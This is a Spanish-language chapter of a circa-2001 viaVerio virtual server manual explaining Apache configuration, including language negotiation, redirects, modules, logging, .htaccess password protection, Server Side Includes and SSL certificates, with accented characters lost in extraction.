La directiva AddLanguage se usa para identificar los recursos escritos en un idioma especfico con una extensin de archivo. La directiva AddLanguage es esencial para la negociacin de contenido, donde el servidor devuelve uno de varios documentos basados en la preferencia de idioma del navegador local. Si desea ms informacin acerca de la negociacin de contenido, consulte la seccin sobre servicios de documentos basados en preferencias de idioma de este captulo. Ejemplo:

AddLanguage en .en
Si desea informacin adicional, consulte:

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

113

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

http://www.apache.org/docs/mod/mod_mime.html#addlanguage

Directiva LanguagePriority
La directiva LanguagePriority le permite dar prioridad a algunos idiomas si se produce un empate durante la negociacin del contenido o si el navegador local no especifica una prioridad de idioma (esto puede pasar con los navegadores ms antiguos). Si desea ms informacin acerca de la negociacin de contenido, consulte la seccin sobre servicios de documentos basados en preferencias de idioma de este captulo. Nota: El uso de esta directiva exige que est cargado el mdulo

mod_negotiation. Si necesita ampliar la informacin, consulte la explicacin de la directiva LoadModule.


Ejemplo:

LanguagePriority en fr de
Si desea informacin adicional, consulte: http://www.apache.org/docs/mod/mod_negotiation.html#languagepriority

Directiva Redirect
La directiva Redirect se usa para redirigir las rutas URL absolutas a direcciones URL absolutas. Esto suele ser til cuando se cambian de lugar los recursos y hay que redirigir las solicitudes de documentos. Ejemplo:

Redirect /ruta/archivo.html http://otra.ubicacin/archivo.html Redirect /ruta/archivo.html http://www.su_empresa.com/nuevoarchivo.html Redirect /directorio http://otra.ubicacin/directorio/ Redirect /directorio http://www.su_empresa.com/nuevodirectorio/
Si desea informacin adicional, consulte: http://www.apache.org/docs/mod/mod_alias.html#redirect

Directiva Alias
La directiva Alias permite que los documentos se almacenen en un sistema local de archivos distinto del directorio definido con la directiva DocumentRoot. Ejemplo:

Alias icons /usr/local/etc/httpd/icons


Si desea informacin adicional, consulte: http://www.apache.org/docs/mod/mod_alias.html#alias

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

114

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Directiva ScriptAlias
La directiva ScriptAlias tiene el mismo comportamiento que la directiva Alias, pero adems de dar una definicin de alias, indica que el directorio objetivo contiene CGI scripts. Ejemplo:

ScriptAlias /cgi-bin/ /usr/local/etc/httpd/cgi-bin/


Si desea informacin adicional, consulte: http://www.apache.org/docs/mod/mod_alias.html#scriptalias

Directiva AddType
La directiva AddType le permite agregar una nueva definicin de tipos MIME sin editar el archivo definido por la directiva TypesConfig. Como su archivo de configuracin mime.types es bastante completo, rara vez necesitar usar la directiva AddType. Ejemplo:

AddType text/plain .txt


Si desea informacin adicional, consulte: http://www.apache.org/docs/mod/mod_mime.html#addtype

Directiva AddHandler
La directiva AddHandler asigna una extensin de archivo con un gestor especial. Ejemplo:

# Para usar CGI scripts: #AddHandler cgi-script .cgi


O:

# Para usar archivos HTML analizados por el servidor: AddType text/html .shtml AddHandler server-parsed .shtml
Si desea informacin adicional, consulte: http://www.apache.org/docs/mod/mod_mime.html#addhandler http://www.apache.org/docs/handler.html#addhandler

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

115

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Directiva ErrorDocument
La directiva ErrorDocument define la ubicacin de los documentos que deben mostrarse (o scripts que deben invocarse) cuando el servidor encuentra un error. La directiva puede conectar los cdigos de error a documentos o scripts en el servidor local o en un servidor remoto. Cuando se encuentra el cdigo de error, el servidor web le dice al navegador local que redirija su solicitud a la URL que usted define con el cdigo de error. Si no existe una definicin ErrorDocument para un cdigo de error especfico, entonces el servidor web da un mensaje de error de cdigo fuente que defini internamente. Los cdigos de error comunes incluyen 401, 403, 404 y 500. Sus definiciones figuran en la siguiente tabla: Cdigo de error Cdigo de error 401 Autorizacin denegada Cdigo de error 403 Permiso denegado Cdigo de error 404 Recurso no encontrado Cdigo de error 406 Recurso inaceptable Definicin El recurso solicitado requiri la autenticacin y el cliente no pudo dar la combinacin vlida de nombre de usuario / clave. La computadora local solicit un recurso prohibido. El recurso solicitado no existe en el servidor web. El recurso solicitado se encontr en el servidor web pero no pudo entregarse porque el tipo de recurso es incompatible con los de su computadora local. El recurso solicitado no existe en el servidor web.

Cdigo de error 500 Error Interno

Si desea ampliar la informacin sobre el manejo de errores personalizados, consulte la seccin sobre creacin de pginas de documento de error personalizado de este captulo. Ejemplo:

ErrorDocument 401 /error/subscribir.html ErrorDocument 403 /error/denegado.html ErrorDocument 404 /error/noencontrado.html ErrorDocument 406 /cgi-bin/error/language.pl ErrorDocument 500 /cgi-bin/error/error_en_script.pl
Si desea informacin adicional, consulte: http://www.apache.org/docs/mod/core.html#errordocument http://www.apache.org/docs/custom-error.html

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

116

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Directivas de control de acceso Directiva Directory


La directiva Directory define las configuraciones de control de acceso y seguridad para los directorios a los que tiene acceso el servidor web. Cada directiva Directory est formada por varias subdirectivas. Algunas son Options, AllowOveride y <Limit>. Muchas de las subdirectivas que pueden incluirse en las definiciones de <Directory> pueden incluirse en archivos de control de acceso local (vea la directiva AccessFileName). En la mayora de los casos, las definiciones predeterminadas de <Directory> incluidas en el archivo http.conf cumplirn sus necesidades (las definiciones predeterminadas se incluyen ms abajo). Si necesita modificarlas, consulte las referencias URL que figuran en la lista ms abajo, para ver una presentacin completa de la directiva <Directory> y sus subdirectivas. Ejemplo:

<Directory /usr/local/etc/httpd/htdocs> #Posibles valores para la directiva Options:"None", #"All" o una combinacin de "Indexes", "Includes", #"FollowSymLinks", "ExecCGI", o "MultiViews". Nota: #"MultiViews" no se incluye con "All" Options Indexes FollowSymLinks #La directiva AllowOverride controla sobre qu #opciones pueden prevalecer los archivos de control #de acceso local en los directorios. Los valores #tambin pueden ser "All", o cualquier combinacin # de "Options", "FileInfo", "AuthConfig" y "Limit" AllowOverride None #La directiva Limit controla quin puede acceder a #los recursos desde el servidor. Puede identificar #especficamente restricciones de acceso realizadas #utilizando mtodos como POST, GET, PUT, DELETE, #etc. Si no se especific un mtodo, las #restricciones de acceso se aplican a todos los #mtodos. <Limit> order allow,deny allow from all </Limit> </Directory> #/usr/local/etc/httpd/cgi-bin debe cambiarse por el #valor de la definicin ScriptAlias. <Directory /usr/local/etc/httpd/cgi-bin> AllowOverride None Options None </Directory>

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

117

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Si desea informacin adicional, consulte: http://www.apache.org/docs/mod/core.html#directory http://www.apache.org/docs/mod/core.html#options http://www.apache.org/docs/mod/core.html#allowoverride http://www.apache.org/docs/mod/core.html#limit http://hoohoo.ncsa.uiuc.edu/docs/setup/access/Overview.html

Archivo de tipos MIME (mime.types)


El archivo de configuracin de tipos MIME determina cmo conecta el servidor web las extensiones de nombre de archivo con los tipos MIME que se devuelven al navegador, que luego conecta los tipos MIME con aplicaciones ayudantes o incorporadas en lnea. A pesar de que el archivo de configuracin predeterminado mime.types incluye una definicin de los tipos MIME ms comunes, usted puede modificar el archivo libremente para agregar soporte para los tipos MIME que desee. Cmo agregar una nueva definicin de tipo MIME Anexe la definicin a los tipos MIME del archivo en el siguiente formato (donde tipo/subtipo es el tipo MIME del documento cuyo nombre de archivo termina con una de las extensiones listadas):

tipo/subtipo extensin1 extensin2 extensinN


Nota: Las lneas que empiezan con "#" son comentarios y son pasadas por alto. La lista de extensiones incluye cualquier nmero de extensiones de nombres de archivo separados por espacios. En el archivo de tipos MIME predeterminado incluido con el servicio web virtual hay ejemplos de entradas de tipos MIME.

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

118

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Utilizacin de mdulos Apache


Apache se convirti en el servidor web ms popular, gracias a su diseo modular, que brinda gran capacidad y flexibilidad a los administradores y desarrolladores web. Un mdulo es una porcin de cdigo escrita a las especificaciones Apache API que se carga de las siguientes maneras: dinmicamente en httpd.conf estticamente en el daemon httpd

Con su diseo modular y su interfase API, los desarrolladores independientes pueden crear mdulos que se cargan con httpd para agregar capacidad al servidor web. Existen mdulos Apache para aplicaciones como PERL y PHP. Poniendo estos mdulos a disposicin del servidor web (a travs de la carga dinmica), el servidor web puede procesar internamente conjuntos de instrucciones en lugar de depender de aplicaciones externas (como CGI), aumentando la velocidad con la que el servidor responde a las solicitudes.

Listado de mdulos vinculados estticamente


Los siguientes mdulos estn vinculados estticamente en el Servidor Virtual Apache:

apache_ssl mod_access mod_actions mod_alias mod_auth mod_auth_dbm mod_autoindex mod_cgi mod_dir mod_imap mod_include mod_log_agent mod_log_config mod_log_referer mod_mime mod_setenvif mod_so.c mod_userdir
Para ver una descripcin de los mdulos Apache, consulte: http://www.apache.org/docs/mod/

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

119

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Utilizacin de mdulos de carga dinmica


viaVerio personaliz algunos aspectos del servidor web Apache para su Servidor Virtual. Una caracterstica clave desarrollada por viaVerio es el soporte a los mdulos de carga dinmica. La capacidad de cargar mdulos dinmicamente se conoce como soporte DSO. El directorio ~/www/modules contiene mdulos Apache que pueden agregarse a su servidor web dinmicamente:

Mdulos Apache dinmicos disponibles


Mdulos ms comunes mod_frontpage (ftp://ftp.vr.net/pub/apache/mod_frontpage/) mod_jserv (http://java.apache.org) mod_perl (http://perl.apache.org) mod_php4 (http://www.php.net) Otros mdulos mod_asis (http://www.apache.org/docs/mod/mod_asis.html) mod_auth.db (http://www.apache.org/docs/mod/mod_auth_db.html) mod_auth.msql (http://www.webweaving.org/mod_auth_msql/) mod_auth.mysql (http://bourbon.netvision.net.il/mysql/mod_auth_mysql/) mod_auth.pgsql (ftp://ftp.eurolink.it/pub/linux/www/mod_auth_pgsql/) mod_auth_anon (http://www.apache.org/docs/mod/mod_auth_anon.html) mod_cern_meta (http://www.apache.org/docs/mod/mod_cern_meta.html) mod_digest (http://www.apache.org/docs/mod/mod_digest.html) mod_env (http://www.apache.org/docs/mod/mod_env.html) mod_expires (http://www.apache.org/docs/mod/mod_expires.html) mod_fastcgi (http://www.apache.org/docs/mod/mod_fastcgi.html) mod_headers (http://www.apache.org/docs/mod/mod_headers.html) mod_info (http://www.apache.org/docs/mod/mod_info.html) mod_mime_magic (http://www.apache.org/docs/mod/mod_mime_magic.html) mod_mmap_static (http://www.apache.org/docs/mod/mod_mmap_static.html) mod_negotiation (http://www.apache.org/docs/mod/mod_negotiation.html) mod_proxy (http://www.apache.org/docs/mod/mod_proxy.html) mod_rewrite (http://www.apache.org/docs/mod/mod_rewrite.html) mod_speling (http://www.apache.org/docs/mod/mod_speling.html)

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

120

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

mod_status (http://www.apache.org/docs/mod/mod_status.html) mod_usertrack (http://www.apache.org/docs/mod/mod_usertrack.html) mod_vhost_alias (http://www.apache.org/docs/mod/mod_vhost_alias.html)

Cmo agregar los mdulos de carga dinmica


Los mdulos dinmicos se agregan en el archivo ~/www/conf/httpd.conf. LoadModule se usa al principio del archivo httpd.conf (para que el mdulo se cargue antes de que se le pase alguna instruccin). Cmo agregar un mdulo de carga dinmica Al principio del archivo httpd.conf, escriba:

LoadModule mdulo nombrearchivo


Si desea ms informacin sobre el comando LoadModule, consulte: http://www.apache.org/docs/mod/mod_so.html#loadmodule Ejemplo:

LoadModule env_module modules/mod_env.so


Nota: El directorio modules es un subdirectorio de ServerRoot (~/usr/local/etc/httpd). El Servidor Virtual es el propietario del directorio modules pero los archivos module contenidos en el directorio pertenecen al directorio raz. Los mdulos no consumen la capacidad en MB del Servidor Virtual. Puede agregar la mayora de los mdulos slo con el comando LoadModule. Sin embargo, los mdulos info y status requieren lneas adicionales en el archivo httpd.conf. Cmo agregar info_module 1. 2. Al principio de httpd.conf, escriba:

LoadModule info_module modules/mod_info.so


Despus del comando LoadModule, escriba:

<Location /status> SetHandler server-status </Location> <Location /info> SetHandler server-info </Location>
Cmo agregar status_module 1. 2. Al principio de httpd.conf, escriba:

LoadModule status_module modules/mod_status.so


Despus del comando LoadModule, escriba:

<Location /status> SetHandler server-status </Location>

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

121

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

<Location /info> SetHandler server-info </Location>


Cmo usar status_module para el servidor web Apache Abra el navegador y vaya a: http://www.su_empresa.com/status/ Cmo renovar el estado del servidor web Apache cada diez segundos Abra el navegador y vaya a: http://www.su_empresa.com/status?refresh=10 Cmo usar el mdulo info Abra el navegador y vaya a: http://www. su_empresa.com/info/ Ver la informacin sobre el servidor web Apache, que incluye los mdulos que se cargaron y otras configuraciones del servidor. Si ya tiene un directorio /status o /info, sustituya <Location /infoparameter> por la ubicacin que desee. Por ejemplo, puede usar <Location /apacheinfo> en su lugar. Para invocar el mdulo info con la nueva ubicacin, use http://www.su_empresa.com/apacheinfo/. Nota: Algunos mdulos exigen parmetros de acceso adicionales. Asegrese de acceder a las URL listadas con los mdulos para tener la documentacin completa.

Compilacin de mdulos DSO


Puede bajar sus propios mdulos y compilarlos en el servidor web virtual. Sin embargo, viaVerio no da soporte para el compilado o la limpieza de mdulos. Apache 1.3 brinda soporte a la herramienta APXS (APache eXtenSion), que le permite compilar y vincular sus propio mdulos Apache de objetos compartidos dinmicos (DSO). Para usar APXS, conctese a su Servidor Virtual mediante Telnet o SSH y escriba el siguiente comando:

% /usr/local/apache/1.3/bin/apxs OPTIONS MODULE_CODE


Si desea ampliar la informacin, consulte http://www.apache.org/docs/dso.html.

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

122

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Comprendiendo el Formato de Registro Comn


Hay tres definiciones de directivas que, cuando se juntan, definen lo que se conoce como Formato de Registro Separado o Formato de Registro Comn para el almacenamiento de la informacin de solicitudes de recursos. El Formato de Registro Comn almacena la siguiente informacin sobre los recursos solicitados en archivos de registro separados: 1. 2. 3. Informacin de referencia Informacin de navegador Informacin de agente

Nota: El formato predeterminado es el combinado, que recomendamos usar para mejorar la eficiencia del servidor web y hacer un muy buen anlisis del archivo de registro. Cmo cambiar de formato de registro comn a combinado 1. Desde el archivo httpd.conf, convierta en comentario las directivas AgentLog y ReferrerLog colocando el carcter de numeral "#" delante de las lneas de las dos directivas, o Elimine las lneas de las dos directivas (no es lo ms recomendado) Incluya una lnea de definicin de directiva LogFormat especial frente a la lnea actual de la directiva TransferLog. Ejemplo:

2. 3.

ErrorLog logs/error_log
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referrer}i\" \"%{User-Agent}i\""

TransferLog logs/access_log # AgentLog logs/agent_log # ReferrerLog logs/referrer_log


Nota: Puede haber una directiva Logformat como la de arriba ubicada en su archivo de configuracin del servidor. Si la lnea es un comentario, elimnela borrando el numeral ("#"). Despus de hacer las modificaciones, revise el archivo de registro de transferencias con el comando tail. Cada entrada en el archivo de registro de transferencias ahora debera verse de la siguiente manera:

un.host.remoto [19/Aug/1998:13:48:56 0600] "GET /index.html HTTP/1.0" 200 4817 "http://otro.host.remoto/ruta/info/documento.html" "Mozilla/3.01 (X11; I; BSD/OS 2.0 i386)"

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

123

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Cmo desactivar archivos de registro especficos 1. 2. Convierta la lnea en un comentario anteponiendo el carcter "#", o Especifique el archivo especial /dev/null como el objetivo de las directivas Log. Por ejemplo:

ErrorLog /dev/null TransferLog /dev/null AgentLog /dev/null ReferrerLog /dev/null


Nota: Si va a desactivar archivos de registro especficos, le recomendamos hacerlo usando el primer mtodo descripto, debido que el segundo todava lo requiere el Apache para crear los archivos de registro, que luego sern borrados n inmediatamente.

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

124

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Manejo del contenido web en varios idiomas


El servidor web Apache tiene la capacidad de consultar la preferencia de idioma especificada por un navegador y mostrar el contenido del archivo en el idioma de elegido. Esta capacidad, llamada negociacin del contenido de idioma es una caracterstica poderosa del servidor Apache que rara vez se utiliza. Puede usar dos mtodos para la negociacin de contenido. El primero depende de un archivo de variantes (var) que lista los archivos de recursos de documentos por su extensin y los identifica con un idioma especfico. Este mtodo es conveniente para los sitios pequeos o cuando se dan especificaciones de idioma para la pgina de entrada de un sitio web. Se puede establecer un vnculo explcito entre esa pgina y contenido web armado en distintos idiomas. El segundo mtodo usa las extensiones de archivo (al igual que los tipos MIME) para asociar un archivo con un idioma. Configuracin de la negociacin del contenido de idioma por extensin de archivo 1. 2. 3. En su archivo httpd.conf, agregue definiciones de tipo de idioma. Desde su directorio (httpd.conf). ~/www/conf, edite el archivo de configuracin

Agregue las definiciones de idioma con la directiva AddLanguage. Por ejemplo:

AddLanguage en .en AddLanguage es .es AddLanguage fr .fr AddLanguage de .de AddLanguage it .it AddLanguage jp .jp
El archivo httpd.conf asocia las siguientes extensiones de archivo con las correspondientes abreviaturas de idiomas: .en .es .fr .de .it .jp en es fr de it jp Ingls Espaol Francs Alemn Italiano Japons

Nota: Las abreviaturas estn predefinidas y pueden encontrarse en cualquiera de las ltimas generaciones de navegadores. Por ejemplo, en Netscape 4.x, las asociaciones de acceso se encuentran en Editar/Preferencias/Navegador/Idioma. presione Agregar. En MSIE 4.x, acceda a las asociaciones en Ver/Opciones de Internet/General. Presione el botn de Idiomas y presione Agregar.

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

125

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

La directiva de prioridad de idioma le permite dar preferencia a algunos idiomas en los siguientes casos: o o 3. Cuando hay un empate durante la negociacin de contenido Cuando el programa de navegador no especifica una prioridad de idioma (en los navegadores ms antiguos)

Liste los idiomas en orden de preferencia decreciente, como se muestra en el siguiente ejemplo:

LanguagePriority en es fr de
Para usar la directiva LanguagePriority, cargue el mdulo mod_negotiation. Si desea informacin adicional, consulte la seccin de la directiva LoadModule que figura ms arriba en este captulo. Nota: 4. Modifique la definicin Options para que su rea htdocs incluya MultiViews.

Inclusin de Multiviews 1. 2. Desde su directorio ~/www/conf, abra y modifique el archivo de configuracin de su servidor web (httpd.conf). Agregue MultiViews a la directiva Options (parte de la definicin de directiva htdocs). Por ejemplo, su lnea Options se ver de la siguiente manera:

<Directory /usr/local/etc/httpd/htdocs> Options Indexes FollowSymLinks MultiViews </Directory>


Nota: Ahora puede agregar MultiViews a la definicin Options en los archivos de control de acceso local. Despus de hacer estas modificaciones en los archivos de configuracin del servidor web, puede crear contenido y cargarlo al Servidor Virtual usando distintas extensiones de nombre de archivo. Por ejemplo, en lugar de crear slo index.html, puede crear lo siguiente:

index.html.en index.html.es index.html.fr


Cuando el programa de navegador solicita index.html, el servidor analiza la preferencia de idioma del programa de navegador y sirve el archivo index.html.* apropiado al usuario. Hay una excepcin a la preferencia del idioma. Si la preferencia que el navegador presenta no corresponde con ninguna de las definiciones de tipo del servidor y los documentos, el servidor muestra un error 406. Este error significa que el recurso se encontr pero no se entreg debido a tipos incompatibles de recursos entre el cliente y el servidor. Por ejemplo, si un cliente slo acepta contenido en griego (el), pero el contenido est escrito slo en ingls, espaol y alemn, el cliente recibe un error 406. Una forma de resolver esta situacin es atrapar los errores 406 con una pgina o script ErrorDocument personalizado.

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

126

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Imagemaps
Los imagemaps o mapas de imgenes pueden brindar una interfaz de navegacin grfica a un sitio web. Si se cliquea en una imagen imagemap, las coordenadas del clic se envan al servidor. El servidor luego determina qu pgina mostrar en base a la ubicacin del clic. Tradicionalmente, los imagemaps se implementaron en el servidor con un programa CGI (comnmente denominado imagemap). Este se configura con un archivo map que lista qu regiones de la imagen corresponden a qu documentos. Apache puede usar imagemaps CGI, pero es ms eficiente usar el mdulo interno de imagemap. Este mdulo, compilado en forma predeterminada, significa que el servidor no necesita ejecutar un proceso aparte para manejar los clics de imgenes. Ambos enfoques implementan los imagemaps del lado del servidor porque todo el procesamiento se hace en el servidor. Si desea informacin adicional, consulte http://www.apacheweek.com/issues/96-1101#imaps.

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

127

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Autenticacin de usuarios
El servidor web Apache del Servidor Virtual da soporte a la autenticacin de usuarios. En otras palabras, permite crear directorios protegidos por claves en el sitio web de su Servidor Virtual. La autenticacin de usuario bsica permite restringir el acceso a los usuarios que dan una combinacin vlida de nombre de usuario / clave. Creacin de directorios protegidos por clave Para crear un directorio protegido por clave (http://www.su_empresa.com/ver/) para Pedro, siga estos pasos: 1. Cree un archivo llamado .htaccess en su directorio ~/www/htdocs/ver que contenga lo siguiente:

AuthUserFile /etc/.htpasswd AuthGroupFile /dev/null AuthName "Ingreso restringido" AuthType Basic <Limit GET> require user pedro </Limit>
Este archivo .htaccess slo permitir que un usuario, Pedro, acceda al directorio. El archivo .htaccess debe residir en el directorio ~/www/htdocs/ver para controlar el acceso a ese directorio. Usted puede crear el archivo .htaccess mientras est conectado a su Servidor Virtual (usando un editor de archivos como pico, por ejemplo) o bien puede crear el archivo en su propia computadora y subirlo al Servidor Virtual. 2. Use el comando htpasswd para establecer una clave para el nuevo usuario. Reemplace su nombre de usuario del Servidor Virtual por el USUARIO a continuacin:

% htpasswd -c /usr/home/USUARIO/etc/.htpasswd pedro


Puede usar un nombre o ubicacin de directorio distinto para el archivo de claves. Para ello, cambie el /usr/home/USUARIO/etc/.htpasswd especificado arriba por el que desee. El indicador -c indica que usted est agregando un usuario a /etc/.htpasswd por primera vez. Cuando agrega ms usuarios y claves al mismo archivo de claves, no es necesario usar el indicador -c.

% htpasswd /usr/home/USUARIO/etc/.htpasswd juan % htpasswd /usr/home/USUARIO/etc/.htpasswd mario % htpasswd /usr/home/USUARIO/etc/.htpasswd jorge


Nota: Hay una diferencia sutil en el Servidor Virtual. Cuando usted configura sus archivos .htaccess, especifica el AuthUserFile o AuthGroupFile con respecto a su directorio raz. Sin embargo, cuando la configuracin de los archivos .htpasswd se hace con el comando htpasswd, debe anteponer /usr/home/USUARIO a la especificacin del directorio. Si desea informacin adicional, consulte http://www.apacheweek.com/issues/96-1018#userauth.

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

128

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Server Side Includes (SSI)


Server Side Includes (SSI) permite agregar caractersticas simples y dinmicas a un documento HTML sin la complejidad de los CGI. (No debe confundirse con SSL o Secure Socket Layer). SSI usa dos pasos distintos. Primero, configure su servidor para que analice documentos especficos para comandos SSI. Segundo, asegrese de que los documentos tengan comandos SSI incorporados. Configuracin de SSI 1. 2. 3. 4. Edite el archivo httpd.conf de la siguiente manera: Quite el smbolo de comentario a la directiva AddType:

AddType text/x-server-parsed-html .html


Tal vez sea conveniente agregar un tipo para los archivos .htm:

AddType text/x-server-parsed-html .htm


Desde el archivo httpd.conf , bajo Opciones, agregue la declaracin Incluir/ Documento Raz: Options Indexes FollowSymLinks Includes 5. Reinicie el servidor web:

% restart_apache
Nota: Para no crear una carga extra en el servidor Apache, los archivos que contengan los comandos SSI deben tener una extensin .shtml. AddType se lee: AddType text/x-server-parsed-html .shtml. (El http Apache no tiene que analizar cada archivo).

Comandos Server Side Includes


Si desea ampliar la informacin sobre Server Side Includes, visite las siguientes direcciones URL: http://www.apacheweek.com/features/ssi http://hoohoo.ncsa.uiuc.edu/docs/tutorials/includes.html

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

129

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Servidor seguro (SSL e ID de servidor seguro)


Protocolo SSL
El protocolo Secure Socket Layer (SSL) brinda un nivel de seguridad y privacidad para los que desean realizar transacciones seguras en la Internet. Introducido en el mercado por Netscape Communications, SSL protege las transmisiones http por la Internet agregando una capa de encriptado, para asegurar que ningn tercero pueda husmear las transacciones. SSL brinda a quienes visitan su sitio la tranquilidad de una comunicacin segura a travs de una sesin encriptada. SSL es esencial para las empresas que desean realizar comercio electrnico en forma segura, por ejemplo, si van a solicitar datos de tarjetas de crdito y dems informacin sensible en lnea. En el Apndice A figuran los dems componentes del comercio electrnico.

Cmo pedir SSL


viaVerio ofrece SSL como una caracterstica complementaria al Servidor Virtual, por un cargo de instalacin, sin abono mensual. (Visite el sitio de viaVerio para ver los precios.) Si desea pedir SSL para su Servidor Virtual, no tiene ms que enviar un mensaje de correo electrnico al departamento de servicio de viaVerio o pedirlo directamente en el sitio web de viaVerio.

Cmo acceder al servidor seguro


Usted puede acceder al contenido web (documentos, imgenes, scripts) en el Servidor Web en forma segura utilizando el prefijo https:// en lugar de http://. Por ejemplo, para enviar el contenido de un formulario en forma segura a uno de sus scripts CGI, incluya lo siguiente en el cdigo fuente HTML:

<form method="POST" action="https://www.su_empresa.com/cgibin/script.cgi">


Una vez que entr en la modalidad segura, no haga referencia a contenido incorporado en documentos (imgenes, etc.) utilizando un prefijo no seguro (Ej: src="http://www.su_empresa.com/image.gif").

Identificacin del servidor


Mientras que SSL maneja la parte de encriptado de una transaccin http segura, el protocolo no est completo sin un ID de servidor, tambin conocido como certificado digital. El certificado digital sirve para proporcionar autenticacin de servidor. Usted puede usar el certificado digital de viaVerio, pero si su intencin es establecer un sitio seguro en serio, debera tener el suyo propio. Un certificado digital es un documento que da a los clientes la seguridad de que el sitio web pertenece a su dueo legtimo y no a un impostor. Tambin le brinda al dueo la base legal para realizar transacciones por la Internet. El Servidor Seguro (httpsd) tiene un certificado digital incorporado en el binario. Este certificado dice quin es su titular (nombre de la empresa, nombre de dominio, direccin de contacto) y quin es la autoridad emisora (por ejemplo, VeriSign, Thawte). Como el certificado est incorporado en el binario del servidor virtual, se da soporte a un solo certificado digital por Servidor Virtual. Por ende, los subhosts virtuales que comparten un mismo Servidor Virtual tambin comparten el certificado.

Captulo 6: Configuracin Avanzada del Servidor Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

130

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Utilizacin de un certificado distinto del propio


No es necesario pedir su propio certificado digital, porque puede usar el que viene predeterminado en el Servidor Seguro. Como ya se mencion, el certificado digital incluye informacin sobre la titularidad del certificado. Cuando sus clientes visitan su sitio web seguro, el navegador (Netscape Navigator, Microsoft Internet Explorer) verifica el nombre de dominio en el certificado para ver si corresponde con el nombre de sitio incluido en la direccin URL. Si no hay correspondencia, se advierte al usuario que existe un problema potencial con la seguridad. En realidad, la falta de correspondencia del nombre de dominio no es ningn obstculo para la seguridad de las transacciones. La advertencia simplemente informa que el nombre de dominio incluido en la informacin de titularidad del certificado digital no corresponde al nombre de dominio del sitio web solicitado. La transaccin sigue siendo segura. Sin embargo, por ms leve que sea la advertencia, es probable que, despus de verla, el cliente no se sienta seguro de hacer la transaccin. viaVerio desarroll una forma de evitar la advertencia (para los navegadores con soporte a los certificados firmados por Thawte, incluyendo MSIE 4.0+ y Netscape 3.0+) que garantiza la integridad de las transacciones seguras. El certificado digital predeterminado instalado en el servidor seguro pertenece a viaVerio pero en lugar de "viaverio.com" incluye el nombre de dominio "securesites.com". Cuando usted pide su servidor seguro, viaVerio configura un nombre cannico en el archivo de zona securesites.com para su cuenta. Este nombre cannico tiene la forma de nombrecuenta.securesites.com. Por ejemplo, si el nombre de cuenta de su Servidor Virtual es usuario, entonces se crea el nombre cannico usuario.securesites.com para que usted lo use. Luego se puede acceder a su servidor seguro sin generar una advertencia mediante la referencia a https://usuario.securesites.com. A continuacin se ejemplifica esta referencia:

<form method="POST" action="https://usuario.securesites.com/cgibin/order.cgi">

Cmo pedir su propio certificado digital


